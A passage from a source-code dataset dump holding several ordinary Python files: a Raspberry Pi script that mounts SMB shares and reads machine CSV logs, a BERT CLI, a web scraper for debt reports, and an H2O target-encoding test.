"usage_type": "call"}, {"api_name": "ps4.views.psvupdateView", "line_number": 58, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 60, "usage_type": "call"}, {"api_name": "ps4.views.tnsupdateView.as_view", "line_number": 60, "usage_type": "call"}, {"api_name": "ps4.views.tnsupdateView", "line_number": 60, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 61, "usage_type": "call"}, {"api_name": "ps4.views.transactionsDeleteView.as_view", "line_number": 61, "usage_type": "call"}, {"api_name": "ps4.views.transactionsDeleteView", "line_number": 61, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 62, "usage_type": "call"}, {"api_name": "ps4.views.playstationrecordsView.as_view", "line_number": 62, "usage_type": "call"}, {"api_name": "ps4.views.playstationrecordsView", "line_number": 62, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 63, "usage_type": "call"}, {"api_name": "ps4.views.savingsView.as_view", "line_number": 63, "usage_type": "call"}, {"api_name": "ps4.views.savingsView", "line_number": 63, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 64, "usage_type": "call"}, {"api_name": "ps4.views.savingslistView.as_view", "line_number": 64, "usage_type": "call"}, {"api_name": "ps4.views.savingslistView", "line_number": 64, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 65, "usage_type": "call"}, {"api_name": "ps4.views.savingseditView.as_view", "line_number": 65, "usage_type": "call"}, {"api_name": "ps4.views.savingseditView", "line_number": 65, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 66, "usage_type": "call"}, {"api_name": "ps4.views.incomelistView.as_view", "line_number": 66, "usage_type": "call"}, {"api_name": "ps4.views.incomelistView", "line_number": 66, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 67, "usage_type": "call"}, {"api_name": "ps4.views.expenselistView.as_view", "line_number": 67, "usage_type": "call"}, {"api_name": "ps4.views.expenselistView", "line_number": 67, "usage_type": "name"}]}
+{"seq_id": "556408001", "text": "import os\nimport sys\nimport time\nfrom os import listdir\nfrom os.path import isfile, join\nimport csv\nimport json\nimport unicodedata\nimport serial\nimport subprocess\n\n# Function to subsitute diacritics\ndef _cleanticks(text):\n    import re\n    rep = {\n        \"ě\":\"e\",\n        \"š\":\"s\",\n        \"č\":\"c\",\n        \"ř\":\"r\",\n        \"ž\":\"z\",\n        \"ý\":\"y\",\n        \"á\":\"a\",\n        \"í\":\"i\",\n        \"é\":\"e\"\n    }\n\n    rep = dict((re.escape(k), v) for k, v in rep.items())\n    pattern = re.compile(\"|\".join(rep.keys()))\n    return pattern.sub(lambda m: rep[re.escape(m.group(0))], text)\n\n\n# Read json file containing configuration data\ndef config(file_path):\n\n    '''\n    cfg = config(\"/home/pi/.romill/romill_conf/romill_config.json\")\n    print(cfg[\"devices\"])\n\n    dev_1 = cfg_data[\"devices\"][\"1\"]\n    '''\n\n    # Open file and parse it\n    try:\n        cfg_file = open(file_path, \"r\")\n        cfg_data = json.load(cfg_file)\n        \n    except IsADirectoryError:\n        sys.stderr.write(str(file_path))\n        sys.stderr.write(\"error while loading json\\n\")\n        raise \"config loading failed\"\n    \n    except FileNotFoundError:\n        sys.stderr.write(str(file_path))\n        sys.stderr.write(\"file not found \\n\")\n        raise\n    \n    # Return values\n    return cfg_data\n\n# Make config varianbles available for functions\ncfg = config(\"/home/pi/.romill/romill_conf/romill_config.json\")\n\n\ndef getdata(device_number):\n    #cfg = config(config_path)\n    dev_dictionary = dict()\n    run_dictionary = dict()\n    \n    dev = str(device_number)\n    dev_config = json.dumps(cfg[\"devices\"][dev], separators=(',', ':'))\n    path = cfg[\"devices\"][dev]['dir']\n    start_row = cfg[\"devices\"][dev]['startFromRow']\n    error_log_file = cfg[\"devices\"][dev]['errorLog']\n    property_name = \"rml\" + str(device_number)\n    \n    response = ping(device_number)\n    mount = mount_rml(device_number)\n    \n    run_dictionary[\"ping\"] = response\n    run_dictionary[\"mount\"] = mount\n    \n    last_file, _ = list_rml(path)\n    run_dictionary[\"lastFile\"] = last_file\n    \n    last_line = last_entry(path, last_file, start_row, error_log_file, 1)\n    \n    #dev_dictionary[property_name][\"runData\"] = run_dictionary\n    dev_dictionary[property_name] = last_line\n    \n    ready_line = str(dev_dictionary).replace(\"'{\", \"{\").replace(\"}'\", \"}\").replace(\"'\", '\"')\n    \n    #serial_ok = toserial(ready_line)\n    log_ok = logtofile(ready_line, cfg[\"rootDir\"], cfg[\"devices\"][dev]['outputFile'])\n    #run_dictionary[\"serial\"] = bool(serial_ok)\n    run_dictionary[\"log\"] = log_ok\n    \n    sys.stdout.write(str(ready_line))\n    sys.stderr.write(str(json.dumps(run_dictionary, separators=(',', ':'))))\n    \n    return\n\n# Function to get timestamp in UNIX format\ndef get_ts():\n    \n    # Format python time.time() result to UNIX standart\n    value = int(time.time()*1000)\n    return value\n\n\n# Function for mounting network shared folders using SMBv1 protocol\ndef mount_rml(rml_id):\n    \n    device_path = cfg[\"devices\"][rml_id]['dir']\n    device_ip = cfg[\"devices\"][rml_id]['ip']\n    \n    # check mounted folders\n    is_mounted = subprocess.call(\"mountpoint\", device_path)\n    \n    # Mount details for device 1\n    #if rml_id == 1:\n    #    device_ip = cfg[\"devices\"][\"1\"]['ip']\n    #    device_path = cfg[\"devices\"][\"1\"]['dir']     \n    \n    # Mount details for device 2\n    #elif rml_id == 2:\n    #   device_ip = cfg[\"devices\"][\"2\"]['ip']\n    #    device_path = cfg[\"devices\"][\"2\"]['dir']\n        \n    # Mount details for testing purposes\n    #if rml_id == 3:\n    #    return True\n    \n    try:\n        # Mounting function using system cli\n        mount = subprocess.Popen(\n            [\"sudo\", \"mount.cifs\", device_ip, device_path, \"-o\", \"credentials=/home/pi/.romill/romill_conf/romill.txt,vers=1.0\" ],\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE\n        )\n    \n        # Get outputs separately into variables\n        out, error = mount.communicate()\n        return True\n    except:\n        return False\n\n\n# Function to get most recent data log in folder_path\ndef list_rml(folder_path):\n    \n    # initiate variables for counters etc.\n    file_index = 0\n    file_ok = []\n    file_ok_index = 0\n    items = [f for f in listdir(folder_path) if isfile(join(folder_path, f))]\n\n    # For loop looking for all files with .csv extension, makes list of them\n    for file_name in items:\n        file_index = file_index + 1\n\n        if \".csv\" in file_name:\n            file_ok.append(file_name)\n            file_ok_index = file_ok_index + 1\n            file_ok.sort()\n    \n    # If folder is empty, return status \"False\"\n    if file_index == 0:\n        #raise \"Folder empty\"\n        return\n\n    # string containing filename of most recent file\n    file_last = file_ok[file_ok_index - 1]\n    \n    # string containing list of all filenames that passed filter\n    file_list = [file_ok]\n\n    return file_last, file_list\n\n\n# Read error logs last entry\ndef get_error_log(file_folder, file_name, entry_count):\n\n    file = str(file_folder + file_name)\n\n    try:\n        # Open file, set encoding\n        f = open(file, encoding=\"ISO-8859-1\")\n        # Using csv reader function parse file\n        csv_f = csv.reader(f)\n\n        rows = 0\n        headers_index = 0\n        rows_index = 0\n\n        list = []\n        data = []\n\n        # loop over all rows of data\n        for row_line in csv_f:\n            rows = rows + 1\n            list.append(row_line)\n\n        for i in range(entry_count):\n            #err_pack[\"1\"] = dict()\n            \n            err_row = dict()\n            \n            data_line = str(list[(rows - 1 - i)])\n            \n            # From each entry parse data to python dictionary\n            #err_row[\"err_date\"] = data_line[2:12]\n            #err_row[\"err_time\"] = data_line[13:21]\n            err_row[\"err_num\"] = data_line[22:24]\n            #err_row[\"err_name\"] = str(data_line[25:]).replace(\"']\", \"\").replace(\"\\\\\", \"\")\n            \n            data.append(err_row)\n            #print(data_line)\n\n        return err_row\n\n    except:\n        print(\"error\")\n    finally:\n        f.close()\n\n\n# Function to get most recent entry in passed file\ndef last_entry(file_folder, file_name, head_row, error_file_name, error_count):\n    \n    # assign head_row int to variable\n    headers_position = int(head_row)\n    \n    # Concatenate strings to make complete path to read from\n    file = str(file_folder + file_name)\n    \n    # Get device number to variable\n    if(\"1\" in file_folder):\n        device_number = 1\n    elif(\"2\" in file_folder):\n        device_number = 2\n    else:\n        device_number = 0\n    \n    #print(device_number)\n    \n    try:\n        # Open file, set encoding\n        f = open(file, encoding=\"ISO-8859-1\")\n        \n        # Using csv reader function parse file\n        csv_f = csv.reader(f)\n\n        #time.sleep(0.5)\n\n        rows = 0\n        headers_index = 0\n        rows_index = 0\n\n        list = []\n\n        # loop over all rows of data\n        for row_line in csv_f:\n            rows = rows + 1\n            list.append(row_line)\n\n        # Processing of header line to list\n        headers_raw = str(list[headers_position-1][0])  # Get unmodified string from file\n        # Prepare raw string to be parsed to list data type\n        headers_list = headers_raw.replace('\"', '').replace(\" \", \"\").replace(\";\", \",\")\n        headers = headers_list.split(\",\") # Split string elements to list\n        #print(headers)\n\n        # Processing of last data entry line to list\n        row_raw = str(list[rows - 2]) # Get unmodified string from file\n        row_list = row_raw.replace(',', '.').replace(\";\", \",\").replace(\"'\", \"\").replace(\" \", \"\").replace(\"[\", \"\").replace(\"]\", \"\").replace('\"', '')  # Prepare raw string to be parsed to list data type\n        row = row_list.split(\",\") # Split string elements to list\n        #print(row)\n\n        # Substitute headers that process incorrectly returning trash\n        headers[1] = \"time\"\n        headers[2] = \"conveyor\"\n        headers[3] = \"odtah\"\n        headers[4] = \"sensor_input\"\n\n        # Start dictionary by naming it with processed device name\n        device_name = \"romill_\" + str(device_number) #(str(file_folder)).replace(\"/\", \"\")\n        device_dictionary = dict()\n        device_dictionary[\"name\"] = device_name\n\n        # Add device connection status variable to dictionary\n        #device_dictionary[\"state\"] = ping(device_number)\n               \n        # Construct python dictionary from supplied lists\n        data_dictionary = dict(zip(headers, row))\n\n        # Count number of headers\n        for i in headers:\n            headers_index = headers_index + 1\n\n        # Count number of values to be compared with header count.\n        # If it is equal, nothing went missing during dictionary creation\n        for i in row:\n            rows_index = rows_index + 1\n\n        # Include those values into final dictionary\n        device_dictionary[\"hdr_count\"] = headers_index\n        device_dictionary[\"row_count\"] = rows_index\n\n        # Merge device and data dictionaries creating one object\n        dictionary = dict()\n        #dictionary[\"program\"] = [\"\"]\n        dictionary[\"device\"] = device_dictionary\n        dictionary[\"data\"] = data_dictionary\n        dictionary[\"error\"] = get_error_log(file_folder, error_file_name, error_count)\n\n        file_to_save = json.dumps(dictionary, separators=(',', ':'))\n        #print(file_to_save)\n        #file_to_save = dictionary\n        #print(str(get_error_log(file_folder, error_file_name, error_count)))\n\n        return file_to_save\n    except:\n        return\n    finally:\n        f.close()\n\n#log to file\ndef logtofile(string, file_path, file_name):\n    \n        # Parse function arguments\n    try:\n        file = str(file_path + file_name)\n        #print(file)\n    except:\n        print(\"error while loading file\")\n        \n    try:\n        log = open(file,\"w+\")\n        log.write(str(string))\n        return True\n    except:\n        print(\"error while writing to log\")\n        return False\n    finally:\n        log.close()\n\n# Function to open serial port ttyUSB0 and transmit passed argument\ndef toserial(string_to_write):\n    # Strip spaces and encode to bytes so serial can handle it\n    string_serial = (str((string_to_write)).replace(\" \", \"\")).encode()\n    #print(string_serial)\n    try:\n        # Open serial port for duration needed to send data\n        #with serial.Serial('/dev/ttyAMA0', 9600, timeout=0.5) as ser: # Slower baud with ttyS0 port\n        with serial.Serial('/dev/ttyAMA0', 115200, timeout=0.5) as ser: # Faster baud rate using ttyAMA0 serial port\n            ser.write(string_serial)\n\n        return True\n\n    except serial.serialutil.SerialException:  # Handle exception such as device disconnected\n        return False\n    except:\n        return False\n\n\n# Ping host to check availability\ndef ping(device_no):\n\n    ts, internet, dev_1, dev_2 = getpingfile(cfg['rootDir'], cfg['pingFile'])\n\n    if(device_no == 0):\n        set_host = internet\n    elif(device_no == 1):\n        set_host = dev_1\n    elif(device_no == 2):\n        set_host = dev_2\n    else:\n        print(\"no such device\")\n        set_host = internet\n\n    if(set_host is not False):\n        return True\n    else:\n        return False\n\n\n# Read json file containing host availability updated by another program (in this case Node-red)\ndef getpingfile(file_path, file_name):\n\n    # Create empty list for values to be stored in\n    ret_list = []\n\n    # Parse function arguments\n    try:\n        file = str(file_path + file_name)\n        #print(file)\n    except:\n        print(\"error while loading file\")\n\n    # Open file and parse it\n    try:\n        with open(file, \"r\") as json_file:\n            data = json.load(json_file)\n\n            file_updated = int(data[\"ts\"])\n\n            hosts = data[\"hosts\"]\n\n            internet = hosts[\"internet\"]\n            ret_list.append(internet[\"status\"])\n\n            device_1 = hosts[\"1\"]\n            ret_list.append(device_1[\"status\"])\n\n            device_2 = hosts[\"2\"]\n            ret_list.append(device_2[\"status\"])\n\n    except:\n        print(\"error while processing json\")\n        return\n        raise\n    # Return values\n    return file_updated, internet[\"status\"], device_1[\"status\"], device_2[\"status\"]\n\n\n", "sub_path": "romill.py", "file_name": "romill.py", "file_ext": "py", "file_size_in_byte": 12264, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "re.escape", "line_number": 27, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 28, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 29, "usage_type": "call"}, {"api_name": "json.load", "line_number": 45, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 48, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 49, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 53, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 53, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 54, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 54, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 70, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 97, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 98, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 98, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 98, "usage_type": "call"}, {"api_name": "time.time", "line_number": 106, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 117, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 135, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 137, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 155, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 189, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 251, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 316, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 355, "usage_type": "call"}, {"api_name": "serial.serialutil", "line_number": 360, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 403, "usage_type": "call"}]}
+{"seq_id": "356866807", "text": "import pdb\n\nimport sys\nimport click\nimport os\nfrom sklearn.metrics import cohen_kappa_score\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import precision_recall_fscore_support\n\nif 'TAGGING_HOME' in os.environ:\n    pyfunctor_path = os.environ['TAGGING_HOME'] + \"/pyfunctor\"\n    sys.path.append(pyfunctor_path)\nelse:\n    sys.exit(\"please declara environment variable 'TAGGING_HOME'\")\n\nimport csv_handler as csv_handler\nimport transform as transform\nfrom nlp.bert_predict import BertModel\nfrom nlp.bert_predict import bert_estimate\n\n@click.group()\ndef cli():\n    pass\n\n@click.command()\n@click.argument('input_path')\n@click.argument('col_true')\n@click.argument('col_pred')\n@click.option('-m', '--metric', default='f1', help='Specify an evaluation metric in {accuracy, cohen, f1, quad}. quad means precision_recall_fscore_support')\n@click.option('-o', '--output_path', default = \"\", help='Write output to a file instead of stdout')\n@click.option('-w', '--with_header', is_flag=True, help='If set, the first row will be ignored')\ndef evaluate(input_path, col_true, col_pred, metric, output_path, with_header):\n    '''evaluate the quality of predictions with a metric (f1 by default), and output the metric scores'''\n\n    result = []\n    dataset = csv_handler.csv_readlines(input_path)\n    if with_header == True:\n        dataset = dataset[1:]\n\n    col_true = int(col_true) - 1\n    col_pred = int(col_pred) - 1\n    y_true = transform.map_func(dataset, lambda row : int(row[col_true]))\n    y_pred = transform.map_func(dataset, lambda row : int(row[col_pred]))\n\n    def check_validity(class_array):\n        for cls in class_array:\n            assert(cls == 0 or cls == 1)\n    check_validity(y_true)\n    check_validity(y_pred)\n\n    support_set = {'f1', 'accuracy', 'cohen', 'quad'}\n    if metric not in support_set:\n        sys.exit('please specify a valid metric in terms of f1, accuracy, cohen, or quad (i.e. precision_recall_fscore_support)')\n    elif metric == 'f1':\n        result.append(['f1'])\n        result.append([f1_score(y_true, y_pred)])\n    elif metric == 'accuracy':\n        result.append(['accuracy'])\n        result.append([accuracy_score(y_true, y_pred)])\n    elif metric == 'cohen':\n        result.append([cohen_kappa_score(y_true, y_pred)]) \n    elif metric == 'quad':\n        (precision, recall, fscore, support) = precision_recall_fscore_support(y_true, y_pred)\n        result.append(['class', 'precision', 'recall', 'fscore', 'support'])\n        result.append([0, precision[0], recall[0], fscore[0], support[0]])\n        result.append([1, precision[1], recall[1], fscore[1], support[1]])\n\n    csv_handler.csv_writelines(output_path, result)\n\n@click.command()\n@click.argument('input_path')\n@click.argument('model_dir')\n@click.option('-c', '--text_col', default = 2, help='Specify the column of texts, 2 by default')\n@click.option('-o', '--output_path', default = \"\", help='Write output to a file instead of stdout')\n@click.option('-g', '--gpu',  default = \"0\", help='Assign a GPU for estimation')\n@click.option('-w', '--with_header', is_flag=True, help='If set, the first row will be ignored')\ndef estimate(input_path, model_dir, text_col, output_path, gpu, with_header):\n    '''output negative-class probability, positive-class probability and predicted argmax class '''\n\n    bert_estimate(input_path, text_col, output_path, model_dir, gpu, with_header)\n\n@click.command()\n@click.argument('input_path')\n@click.argument('output_model_dir')\n@click.option('-tc', '--text_col', default = 2, help='Specify the column of texts, 2 by default')\n@click.option('-lc', '--label_col', default = 3, help='Specifcy the column of labels, 3 by default')\n@click.option('-m', '--model_dir', default='bert-base-uncased', help='Specifcy a source model to start with or otherwise bert-base-uncased')\n@click.option('-g', '--gpu',  default = \"0\", help='Assign a GPU for estimation')\n@click.option('-w', '--with_header', is_flag=True, help='If set, the first row will be ignored')\ndef finetune(input_path, output_model_dir, text_col, label_col, model_dir, gpu, with_header):\n    '''Train a new model or finetune an existing model with labels, output fine-tuned model'''\n\n    # assign GPU\n    os.environ['CUDA_VISIBLE_DEVICES'] = gpu\n\n    dataset = csv_handler.csv_readlines(input_path)\n    header = None\n    if with_header == True:\n        header = dataset[0]\n        dataset = dataset[1:]\n\n    print(\"Loading source model from %s ...\\n\" % (model_dir))\n    model = BertModel(model_dir)\n\n    text_col = text_col - 1\n    label_col = label_col - 1\n\n    labels = transform.map_func(range(len(dataset)), lambda i : [i, dataset[i][text_col], dataset[i][label_col]])\n\n    print(\"Fine-tuning with input labels\")\n    model.train(labels)\n\n    model.checkpoint(output_model_dir)\n\n    print(\"Finished. Fine-tuned model is ready at \" + output_model_dir)\n\ncli.add_command(evaluate)\ncli.add_command(estimate)\ncli.add_command(finetune)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4964, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 15, "usage_type": "call"}, {"api_name": "click.group", "line_number": 22, "usage_type": "call"}, {"api_name": "csv_handler.csv_readlines", "line_number": 37, "usage_type": "call"}, {"api_name": "transform.map_func", "line_number": 43, "usage_type": "call"}, {"api_name": "transform.map_func", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.metrics.cohen_kappa_score", "line_number": 62, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_fscore_support", "line_number": 64, "usage_type": "call"}, {"api_name": "csv_handler.csv_writelines", "line_number": 69, "usage_type": "call"}, {"api_name": "click.command", "line_number": 26, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 27, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 28, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 29, "usage_type": "call"}, {"api_name": "click.option", "line_number": 30, "usage_type": "call"}, {"api_name": "click.option", "line_number": 31, "usage_type": "call"}, {"api_name": "click.option", "line_number": 32, "usage_type": "call"}, {"api_name": "nlp.bert_predict.bert_estimate", "line_number": 81, "usage_type": "call"}, {"api_name": "click.command", "line_number": 71, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 72, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 73, "usage_type": "call"}, {"api_name": "click.option", "line_number": 74, "usage_type": "call"}, {"api_name": "click.option", "line_number": 75, "usage_type": "call"}, {"api_name": "click.option", "line_number": 76, "usage_type": "call"}, {"api_name": "click.option", "line_number": 77, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 95, "usage_type": "attribute"}, {"api_name": "csv_handler.csv_readlines", "line_number": 97, "usage_type": "call"}, {"api_name": "nlp.bert_predict.BertModel", "line_number": 104, "usage_type": "call"}, {"api_name": "transform.map_func", "line_number": 109, "usage_type": "call"}, {"api_name": "click.command", "line_number": 83, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 84, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 85, "usage_type": "call"}, {"api_name": "click.option", "line_number": 86, "usage_type": "call"}, {"api_name": "click.option", "line_number": 87, "usage_type": "call"}, {"api_name": "click.option", "line_number": 88, "usage_type": "call"}, {"api_name": "click.option", "line_number": 89, "usage_type": "call"}, {"api_name": "click.option", "line_number": 90, "usage_type": "call"}]}
+{"seq_id": "632946021", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\nprint('loading modules and data for Sourth Africa...')\n\nfrom template_class import Country_spider\nimport requests\nfrom bs4 import BeautifulSoup\nimport timestring\nfrom datetime import datetime, timedelta\nfrom selenium import webdriver\nfrom openpyxl import load_workbook\nfrom openpyxl import Workbook\nimport time\nimport os\nimport xlrd\nimport sys\n\nclass South_Africa_spider(Country_spider):\n    def parse(self):\n        br = self.browser\n        \n        schedule_name = br.select('td.ms-vb2 a')[0].text # name of the Schedules of Domestic Debt\n        pdf_file = self.domain + br.select('td.ms-vb2 a')[0].get('href') # link on the Schedules of Domestic Debt\n\n        mdate = schedule_name[schedule_name.find('as at ') + 6:].split(' ') # date components of the Schedules of Domestic Debt\n        last_date = timestring.Date(\"{0} {1} {2}\".format(mdate[1], mdate[0], mdate[2]))\n        slast_month = str(last_date.month) if last_date.month > 9 else '0' + str(last_date.month)\n\n        file_name = schedule_name[:schedule_name.find(' as at ')].split(' ')\n        for x in range(len(file_name)):\n            file_name[x] = file_name[x][0].upper() + file_name[x][1:]\n        file_name = ''.join(file_name)\n\n        base_name = \"\".join([str(last_date.year), slast_month, file_name])\n        scurrent_date = self.get_current_date()\n\n        dir_list = os.listdir('.')\n        flag = False\n        for point in dir_list:\n            if base_name in point:\n                flag = True\n\n        if not flag:\n            pdf_content = requests.get(pdf_file).content\n            s = open(\"\".join([base_name, scurrent_date, '.pdf']), 'wb')\n            s.write(pdf_content)\n            s.close()\n            print('download a new version of pdf file: {0}'.format(base_name + scurrent_date))\n        else:\n            print('last version of pdf file had already existed')\n\n\n        xls_file = requests.get(self.domain + br.select('td.ms-vb2 a')[1].get('href')).content\n        handle = open('temp.xls', 'wb')\n        handle.write(xls_file)\n        handle.close()\n\n        # open .xls file\n        book = xlrd.open_workbook('temp.xls')\n        book = book.sheet_by_index(0)\n\n        result_year = \"\"\n        for x in range(book.nrows - 1, 0, -1):\n            if book.cell(x, 0).value is not \"\":\n                current_year = book.cell(x, 0).value\n                break\n\n        result_month = book.cell(book.nrows - 1, 1).value\n        last_date = timestring.Date(\" \".join([result_month, result_year]))\n        slast_month = str(last_date.month) if last_date.month > 9 else '0' + str(last_date.month)\n\n        file_name = br.select('td.ms-vb2 a')[1].text.split(' ')\n        for x in range(len(file_name)):\n            file_name[x] = file_name[x][0].upper() + file_name[x][1:]\n        file_name = ''.join(file_name)\n\n        base_name = \"\".join([str(last_date.year), slast_month, file_name])\n        scurrent_date = self.get_current_date()\n\n        dir_list = os.listdir('.')\n        flag = False\n        for point in dir_list:\n            if base_name in point:\n                flag = True\n\n        if not flag:\n            xls_content = requests.get(self.domain + br.select('td.ms-vb2 a')[1].get('href')).content\n            s = open(\"\".join([base_name, scurrent_date, '.xls']), 'wb')\n            s.write(xls_content)\n            s.close()\n            print('download a new version of xls file: {0}'.format(base_name + scurrent_date))\n        else:\n            print('last version of xls file had already existed')\n        os.remove('temp.xls')", "sub_path": "south_africa.py", "file_name": "south_africa.py", "file_ext": "py", "file_size_in_byte": 3590, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "template_class.Country_spider", "line_number": 19, "usage_type": "name"}, {"api_name": "timestring.Date", "line_number": 27, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 38, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 45, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 54, "usage_type": "call"}, {"api_name": "xlrd.open_workbook", "line_number": 60, "usage_type": "call"}, {"api_name": "timestring.Date", "line_number": 70, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 81, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 88, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 95, "usage_type": "call"}]}
+{"seq_id": "70617510", "text": "from __future__ import print_function\nimport sys, os\nimport tempfile\n\nsys.path.insert(1, os.path.join(\"..\",\"..\",\"..\",\"..\"))\nimport h2o\nfrom tests import pyunit_utils\nfrom h2o.estimators import H2OTargetEncoderEstimator\nfrom h2o.estimators import H2OGradientBoostingEstimator\n\n\"\"\"\nThis test is used to check Rapids wrapper for java TargetEncoder\n\"\"\"\n\ndef test_target_encoding_fit_method():\n    print(\"Check fit method of the TargetEncoder class\")\n    targetColumnName = \"survived\"\n    foldColumnName = \"kfold_column\"\n\n    teColumns = [\"home.dest\", \"cabin\", \"embarked\"]\n    trainingFrame = h2o.import_file(pyunit_utils.locate(\"smalldata/gbm_test/titanic.csv\"), header=1)\n\n    trainingFrame[targetColumnName] = trainingFrame[targetColumnName].asfactor()\n    trainingFrame[foldColumnName] = trainingFrame.kfold_column(n_folds=5, seed=1234)\n    \n    te = H2OTargetEncoderEstimator(k = 0.7, f = 0.3, data_leakage_handling = \"None\")\n    te.train(training_frame=trainingFrame, x=teColumns, y=targetColumnName)\n    print(te)\n    transformed = te.transform(frame = trainingFrame)\n    \n    assert transformed is not None\n    print(transformed.names)\n    assert transformed.ncols == trainingFrame.ncols + len(teColumns)\n    for te_col in teColumns:\n        assert te_col + \"_te\" in transformed.names\n    \n    assert transformed.nrows == 1309\n    \n    # Test fold_column proper handling + kfold data leakage strategy defined\n    te = H2OTargetEncoderEstimator(k=0.7, f=0.3)\n    te.train(training_frame=trainingFrame, fold_column=\"pclass\", x=teColumns, y=targetColumnName)\n    transformed = te.transform(trainingFrame, data_leakage_handling=\"kfold\", seed = 1234)\n\n    te.train(training_frame=trainingFrame, fold_column=\"pclass\", x=teColumns, y=targetColumnName)\n    \n    assert transformed is not None\n    assert transformed.nrows == 1309\n\n    # Test MOJO download\n    mojo_file = te.download_mojo(tempfile.mkdtemp())\n    assert os.path.isfile(mojo_file)\n    assert os.path.getsize(mojo_file) > 0\n\n    # Argument check\n    te.train(training_frame=trainingFrame, fold_column=\"pclass\", y=targetColumnName, x=teColumns)\n\n    # Drop all non-categorical columns\n    te.train(x=None, y=targetColumnName, training_frame=trainingFrame, fold_column=\"pclass\")\n    transformed = te.transform(trainingFrame, data_leakage_handling=\"kfold\", seed=1234)\n    expected_columns = ['home.dest', 'pclass', 'embarked', 'cabin', 'sex', 'survived', 'name', 'age',\n           'sibsp', 'parch', 'ticket', 'fare', 'boat', 'body', 'kfold_column',\n           'sex_te', 'cabin_te', 'embarked_te', 'home.dest_te']\n    assert len(transformed.col_names) == len(expected_columns)\n    assert sorted(transformed.col_names) == sorted(expected_columns) # 4 encoded columns\n\n    gbm_with_te=H2OGradientBoostingEstimator(score_tree_interval=10,\n                                             ntrees=500,\n                                             sample_rate=0.8,\n                                             col_sample_rate=0.8,\n                                             seed=1234,\n                                             stopping_rounds=5,\n                                             stopping_metric=\"AUC\",\n                                             stopping_tolerance=0.001,\n                                             model_id=\"gbm_with_te\")\n\n    myX = [\"pclass\", \"sex\", \"age\", \"sibsp\", \"parch\", \"fare\", \"cabin_te\", \"embarked_te\", \"home.dest_te\"]\n    gbm_with_te.train(x=myX, y=targetColumnName, training_frame=transformed)\n\n\ntestList = [\n    test_target_encoding_fit_method\n]\n\nif __name__ == \"__main__\":\n    for test in testList: pyunit_utils.standalone_test(test)\nelse:\n    for test in testList: test()\n", "sub_path": "h2o-py/tests/testdir_algos/automl/target_encoding/pyunit_target_encoding_model.py", "file_name": "pyunit_target_encoding_model.py", "file_ext": "py", "file_size_in_byte": 3667, "program_lang": "python", "lang": "en", "doc_type": "code", 